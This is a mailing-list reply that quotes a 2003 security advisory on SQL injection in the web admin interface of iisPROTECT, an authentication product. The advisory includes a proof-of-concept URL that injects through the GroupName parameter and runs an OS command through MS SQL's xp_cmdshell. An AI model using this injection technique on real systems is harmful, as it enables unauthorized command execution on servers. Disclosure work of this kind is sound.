Re: iisPROTECT SQL injection in admin interface

[bugtraq () cgisecurity net]

Between this and iDefense's advisory I think we could give this product the 
'Irony of the year award'.
 

> Release Date: 23.05.2003 
> Application:  iisPROTECT v/2.2-r4 (and probably earlier versions) 
> Vendor:               iisPROTECT 
>                       #536, 425 Carrall St. 
>                       Vancouver, BC, 
>                       V6B6E3, Canada 
>                       http://www.iisprotect.com/ 
> Category:             SQL injection in admin interface 
> Risk:                 Medium-High 
> Impact:               Arbitrary command execution 
> Vendor Status:        First notified 15/04-2003 17:36 (+1) 
>                       Fixed 15/04-2003 22:47 (+1)      
> Author:               Torben 'Gyrniff' Frohn 
>                       email: nn () gyrniff dk  
>  
> Intro 
> ==== 
> > From vendor site: "iisPROTECT is a high performance user authentication, 
> password protection and member system". 
> iisPROTECT has a webbased admin interface, the interface lacks sanitising on 
> almost every variable. Successfully exploited some of the variables can be 
> used to inject and execute SQL statements. 
> iisPROTECT uses either a MS access file or a MS SQL-server. In the testing 
> environment the MS SQL-server solution is chosen.  
>  
>  
> Exploit (Proof of Concept) 
> =================== 
> The following URL exploits the "GroupName" variable and uses the stored 
> procedure "xp_cmdshell" to execute the command "ping": 
> http://x.x.x.x/iisprotect/admin/SiteAdmin.ASP?V_SiteName=&V_FirstTab=Groups&V_SecondTab=All&GroupName=gyrniff_gr';exec%20master..xp_cmdshell'ping%2010.10.10.11';--
>  
>  
> Fix 
> === 
> Vendor has fixed this problem. 
>  
> Credits 
> ===== 
> Vulnerability found by Torben Frohn (Gyrniff)
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html